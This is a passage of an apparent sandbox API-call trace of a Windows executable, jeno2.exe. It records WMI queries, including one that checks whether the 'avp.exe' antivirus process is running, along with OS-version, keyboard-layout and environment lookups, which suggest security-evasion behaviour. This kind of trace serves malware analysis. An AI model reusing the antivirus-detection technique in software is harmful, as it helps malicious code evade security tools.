pAuthnSvc=0x18f6d8*=0xa, pAuthzSvc=0x18f6dc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f708*=0x6, pImpLevel=0x18f70c*=0x3, pAuthInfo=0x0, pCapabilites=0x18f6f0*=0x20) returned 0x0 [0054.794] WbemLocator:IUnknown:Release (This=0x1517bcc) returned 0x2 [0054.794] CreatePointerMoniker (in: punk=0x2d8c898, ppmk=0x18f898 | out: ppmk=0x18f898*=0x1512870) returned 0x0 [0054.794] IUnknown:AddRef (This=0x2d8c898) returned 0x2 [0054.795] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0054.795] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0054.795] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0054.795] WbemLocator:IUnknown:Release (This=0x2d808e8) returned 0x0 [0054.795] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0054.795] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0054.795] WinMGMTS:IUnknown:Release (This=0x2d80850) returned 0x0 [0054.795] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0054.795] IUnknown:Release (This=0x14ffe28) returned 0x0 [0054.796] BindMoniker (in: pmk=0x1512870, grfOpt=0x0, iidResult=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x18f910 | out: ppvResult=0x18f910*=0x2d8c898) returned 0x0 [0054.796] IUnknown:QueryInterface (in: This=0x2d8c898, riid=0x7295a460*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f910 | out: ppvObject=0x18f910*=0x2d8c898) returned 0x0 [0054.796] IUnknown:Release (This=0x1512870) returned 0x0 [0054.796] IUnknown:Release (This=0x2d8c898) returned 0x1 [0054.800] LoadRegTypeLib (in: rguid=0x755e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18f844*=0x0 | out: pptlib=0x18f844*=0x151acc0) returned 0x0 [0054.814] ITypeLib:GetTypeInfoOfGuid (in: This=0x151acc0, GUID=0x2d8c8cc*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x2d8c8c0 | out: ppTInfo=0x2d8c8c0*=0x151c814) returned 0x0 [0054.814] IUnknown:Release (This=0x151acc0) returned 0x1 [0054.814] IUnknown:AddRef (This=0x151c814) returned 0x2 [0054.814] DispGetIDsOfNames (in: ptinfo=0x151c814, rgszNames=0x18f8a0*="ExecQuery", cNames=0x1, rgdispid=0x18f8a4 | out: rgdispid=0x18f8a4*=9) returned 0x0 [0054.816] IUnknown:Release (This=0x151c814) returned 0x1 [0054.816] IUnknown:AddRef (This=0x151c814) returned 0x2 [0054.816] ITypeInfo:LocalInvoke (This=0x151c814) returned 0x0 [0054.817] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.817] GetCurrentThreadId () returned 0x3a4 [0054.817] WbemLocator:IUnknown:AddRef (This=0x2d8d304) returned 0x3 [0054.817] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.817] GetCurrentThreadId () returned 0x3a4 [0054.817] IWbemServices:ExecQuery (in: This=0x2d8d304, strQueryLanguage="WQL", strQuery="SELECT Name FROM Win32_Process WHERE Name='avp.exe'", lFlags=272, pCtx=0x0, ppEnum=0x18f614 | out: ppEnum=0x18f614*=0x2d808dc) returned 0x0 [0054.832] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80918 [0054.832] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d80978 [0054.833] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8d378 [0054.833] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8c9a8 [0054.833] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x2d8d3d8 [0054.833] IUnknown:QueryInterface (in: This=0x2d808dc, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f52c | out: ppvObject=0x18f52c*=0x2d808e0) returned 0x0 [0054.833] IClientSecurity:QueryBlanket (in: This=0x2d808e0, pProxy=0x2d808dc, pAuthnSvc=0x18f51c, pAuthzSvc=0x18f520, pServerPrincName=0x0, pAuthnLevel=0x18f548, pImpLevel=0x18f544, pAuthInfo=0x0, pCapabilites=0x18f534 | out: pAuthnSvc=0x18f51c*=0xa, pAuthzSvc=0x18f520*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f548*=0x6, pImpLevel=0x18f544*=0x2, pAuthInfo=0x0, pCapabilites=0x18f534*=0x1) returned 0x0 [0054.833] IUnknown:Release (This=0x2d808e0) returned 0x1 [0054.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.833] GetCurrentThreadId () returned 0x3a4 [0054.833] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f510 | out: ppvObject=0x18f510*=0x1517bcc) returned 0x0 [0054.834] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1517bcc, pProxy=0x2d8d304, pAuthnSvc=0x18f500, pAuthzSvc=0x18f504, pServerPrincName=0x0, pAuthnLevel=0x18f530, pImpLevel=0x18f534, pAuthInfo=0x0, pCapabilites=0x18f518 | out: pAuthnSvc=0x18f500*=0xa, pAuthzSvc=0x18f504*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f530*=0x6, pImpLevel=0x18f534*=0x3, pAuthInfo=0x0, pCapabilites=0x18f518*=0x20) returned 0x0 [0054.834] WbemLocator:IUnknown:Release (This=0x1517bcc) returned 0x3 [0054.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.834] GetCurrentThreadId () returned 0x3a4 [0054.834] WbemLocator:IUnknown:QueryInterface (in: This=0x2d8d304, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f510 | out: ppvObject=0x18f510*=0x1517bcc) returned 0x0 [0054.834] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1517bcc, pProxy=0x2d8d304, pAuthnSvc=0x18f500, pAuthzSvc=0x18f504, pServerPrincName=0x0, pAuthnLevel=0x18f534, pImpLevel=0x18f530, pAuthInfo=0x0, pCapabilites=0x18f518 | out: pAuthnSvc=0x18f500*=0xa, pAuthzSvc=0x18f504*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f534*=0x6, pImpLevel=0x18f530*=0x3, pAuthInfo=0x0, pCapabilites=0x18f518*=0x20) returned 0x0 [0054.834] WbemLocator:IUnknown:Release (This=0x1517bcc) returned 0x3 [0054.834] IUnknown:QueryInterface (in: This=0x2d808dc, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f55c | out: ppvObject=0x18f55c*=0x2d808e0) returned 0x0 [0054.834] IClientSecurity:CopyProxy (in: This=0x2d808e0, pProxy=0x2d808dc, ppCopy=0x18f560 | out: ppCopy=0x18f560*=0x2d8d51c) returned 0x0 [0054.834] IUnknown:QueryInterface (in: This=0x2d8d51c, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f478 | out: ppvObject=0x18f478*=0x2d8d520) returned 0x0 [0054.834] IClientSecurity:QueryBlanket (in: This=0x2d8d520, pProxy=0x2d8d51c, pAuthnSvc=0x18f49c, pAuthzSvc=0x18f48c, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18f49c*=0xa, pAuthzSvc=0x18f48c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0054.834] IUnknown:Release (This=0x2d8d520) returned 0x3 [0054.834] IUnknown:QueryInterface (in: This=0x2d8d51c, riid=0x755e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f450 | out: ppvObject=0x18f450*=0x151abcc) returned 0x0 [0054.835] IUnknown:QueryInterface (in: This=0x2d8d51c, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f454 | out: ppvObject=0x18f454*=0x2d8d520) returned 0x0 [0054.835] IClientSecurity:SetBlanket (This=0x2d8d520, pProxy=0x2d8d51c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0054.839] IUnknown:Release (This=0x2d8d520) returned 0x4 [0054.839] WbemLocator:IUnknown:Release (This=0x151abcc) returned 0x3 [0054.839] IUnknown:Release (This=0x2d808e0) returned 0x2 [0054.839] IUnknown:AddRef (This=0x2d8d51c) returned 0x3 [0054.839] IUnknown:Release (This=0x2d808dc) returned 0x2 [0054.839] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x18f5cc | out: pperrinfo=0x18f5cc*=0x0) returned 0x1 [0054.840] WbemLocator:IUnknown:Release (This=0x2d8d304) returned 0x2 [0054.840] IUnknown:Release (This=0x151c814) returned 0x1 [0054.840] LoadRegTypeLib (in: rguid=0x755e364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x18f85c*=0x0 | out: pptlib=0x18f85c*=0x151acc0) returned 0x0 [0054.841] ITypeLib:GetTypeInfoOfGuid (in: This=0x151acc0, GUID=0x2d80940*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x2d80934 | out: ppTInfo=0x2d80934*=0x151c8c4) returned 0x0 [0054.841] IUnknown:Release (This=0x151acc0) returned 0x2 [0054.841] IUnknown:AddRef (This=0x151c8c4) returned 0x2 [0054.842] DispGetIDsOfNames (in: ptinfo=0x151c8c4, rgszNames=0x18f8b8*="Count", cNames=0x1, rgdispid=0x18f8bc | out: rgdispid=0x18f8bc*=1) returned 0x0 [0054.842] IUnknown:Release (This=0x151c8c4) returned 0x1 [0054.842] IUnknown:AddRef (This=0x151c8c4) returned 0x2 [0054.842] ITypeInfo:LocalInvoke (This=0x151c8c4) returned 0x0 [0054.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.842] GetCurrentThreadId () returned 0x3a4 [0054.842] IUnknown:AddRef (This=0x2d8d51c) returned 0x3 [0054.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0054.842] GetCurrentThreadId () returned 0x3a4 [0054.842] IEnumWbemClassObject:Clone (in: This=0x2d8d51c, ppEnum=0x18f6e4 | out: ppEnum=0x18f6e4*=0x2d8d5e4) returned 0x0 [0054.844] IUnknown:QueryInterface (in: This=0x2d8d51c, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f69c | out: ppvObject=0x18f69c*=0x2d8d520) returned 0x0 [0054.844] IClientSecurity:QueryBlanket (in: This=0x2d8d520, pProxy=0x2d8d51c, pAuthnSvc=0x18f68c, pAuthzSvc=0x18f690, pServerPrincName=0x0, pAuthnLevel=0x18f6ac, pImpLevel=0x18f6b0, pAuthInfo=0x0, pCapabilites=0x18f6a4 | out: pAuthnSvc=0x18f68c*=0xa, pAuthzSvc=0x18f690*=0x0, pServerPrincName=0x0, pAuthnLevel=0x18f6ac*=0x6, pImpLevel=0x18f6b0*=0x3, pAuthInfo=0x0, pCapabilites=0x18f6a4*=0x20) returned 0x0 [0054.844] IUnknown:Release (This=0x2d8d520) returned 0x3 [0054.845] IUnknown:QueryInterface (in: This=0x2d8d5e4, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5e8 | out: ppvObject=0x18f5e8*=0x2d8d5e8) returned 0x0 [0054.845] IClientSecurity:QueryBlanket (in: This=0x2d8d5e8, pProxy=0x2d8d5e4, pAuthnSvc=0x18f60c, pAuthzSvc=0x18f5fc, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x18f60c*=0xa, pAuthzSvc=0x18f5fc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0054.845] IUnknown:Release (This=0x2d8d5e8) returned 0x1 [0054.845] IUnknown:QueryInterface (in: This=0x2d8d5e4, riid=0x755e34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5c0 | out: ppvObject=0x18f5c0*=0x151eb74) returned 0x0 [0054.845] IUnknown:QueryInterface (in: This=0x2d8d5e4, riid=0x755e31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18f5c4 | out: ppvObject=0x18f5c4*=0x2d8d5e8) returned 0x0 [0054.845] IClientSecurity:SetBlanket (This=0x2d8d5e8, pProxy=0x2d8d5e4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0054.848] IUnknown:Release (This=0x2d8d5e8) returned 0x2 [0054.848] WbemLocator:IUnknown:Release (This=0x151eb74) returned 0x1 [0054.848] IEnumWbemClassObject:Reset (This=0x2d8d5e4) returned 0x0 [0054.849] IEnumWbemClassObject:Next (in: This=0x2d8d5e4, lTimeout=-1, uCount=0x1, apObjects=0x18f6d4, puReturned=0x18f6d8 | out: apObjects=0x18f6d4*=0x0, puReturned=0x18f6d8*=0x0) returned 0x1 [0055.502] IUnknown:Release (This=0x2d8d5e4) returned 0x0 [0055.505] IUnknown:Release (This=0x2d8d51c) returned 0x2 [0055.505] IUnknown:Release (This=0x151c8c4) returned 0x1 [0055.505] WbemLocator:IUnknown:Release (This=0x2d8d304) returned 0x1 [0055.505] WbemLocator:IUnknown:Release (This=0x2d8d304) returned 0x0 [0055.506] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.506] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.506] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.506] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.506] IUnknown:Release (This=0x151c814) returned 0x0 [0055.506] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.506] IUnknown:Release (This=0x2d8d51c) returned 0x1 [0055.506] IUnknown:Release (This=0x2d8d51c) returned 0x0 [0055.508] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.508] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.508] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.508] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.508] IUnknown:Release (This=0x151c8c4) returned 0x0 [0055.509] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0055.527] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0xfc) returned 0x147ae88 [0055.527] GetVersionExA (in: lpVersionInformation=0x18f85c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x1000000, dwMinorVersion=0x18f7ac, dwBuildNumber=0x58, dwPlatformId=0x18fd3c, szCSDVersion="Í\x1eËwMF\x13") | out: lpVersionInformation=0x18f85c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0055.527] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0055.527] GetCurrentThreadId () returned 0x3a4 [0055.528] GetCurrentThreadId () returned 0x3a4 [0055.528] GetCurrentThreadId () returned 0x3a4 [0055.528] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x7) returned 0x1477470 [0055.528] SetWindowTextA (hWnd=0x5011c, lpString="Artyom") returned 1 [0055.528] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0xc, wParam=0x0, lParam=0x1477470) returned 0x1 [0055.529] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x1) returned 0x1477480 [0055.529] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x7) returned 0x1477490 [0055.529] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x7) returned 0x14774a0 [0055.530] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x8, Size=0x15) returned 0x1471a98 [0055.531] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f848, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0055.532] lstrcpynA (in: lpString1=0x18f734, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.532] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned 47 [0055.532] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x14774b0 [0055.532] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x147af90 [0055.532] lstrcpyA (in: lpString1=0x14774b0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.533] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x26) returned 0x147afe0 [0055.533] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147af90 | out: hHeap=0x1460000) returned 1 [0055.533] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774b0 | out: hHeap=0x1460000) returned 1 [0055.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147afe0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0055.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147afe0, cbMultiByte=-1, lpWideCharStr=0x15168c4, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 38 [0055.533] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147afe0 | out: hHeap=0x1460000) returned 1 [0055.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0055.534] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0055.534] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0055.534] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0055.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e7077c, cbMultiByte=3, lpWideCharStr=0x14f978c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0055.534] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0055.534] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0055.534] VarCmp (pvarLeft=0x18fcc0, pvarRight=0x18fcd0, lcid=0x0, dwFlags=0x30001) returned 0x2 [0055.534] VarNot (in: pvarIn=0x18fcb0, pvarResult=0x18fca0 | out: pvarResult=0x18fca0) returned 0x0 [0055.534] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f848, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0055.535] lstrcpynA (in: lpString1=0x18f734, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.535] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned 47 [0055.535] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x147af90 [0055.535] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x14774b0 [0055.535] lstrcpyA (in: lpString1=0x147af90, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.536] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x26) returned 0x147afe0 [0055.536] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774b0 | out: hHeap=0x1460000) returned 1 [0055.536] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147af90 | out: hHeap=0x1460000) returned 1 [0055.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147afe0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0055.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147afe0, cbMultiByte=-1, lpWideCharStr=0x15168c4, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 38 [0055.536] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147afe0 | out: hHeap=0x1460000) returned 1 [0055.536] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f848, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0055.536] lstrcpynA (in: lpString1=0x18f734, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.536] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned 47 [0055.536] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x147af90 [0055.536] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x14774b0 [0055.536] lstrcpyA (in: lpString1=0x147af90, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.538] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x6) returned 0x147b7c8 [0055.538] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774b0 | out: hHeap=0x1460000) returned 1 [0055.538] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147af90 | out: hHeap=0x1460000) returned 1 [0055.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147b7c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0055.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147b7c8, cbMultiByte=-1, lpWideCharStr=0x1500484, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0055.538] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147b7c8 | out: hHeap=0x1460000) returned 1 [0055.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0055.538] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0055.538] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0055.538] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0055.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e7077c, cbMultiByte=3, lpWideCharStr=0x1507a44, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0055.538] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0055.539] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18f848, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe")) returned 0x2f [0055.539] lstrcpynA (in: lpString1=0x18f734, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.539] lstrlenA 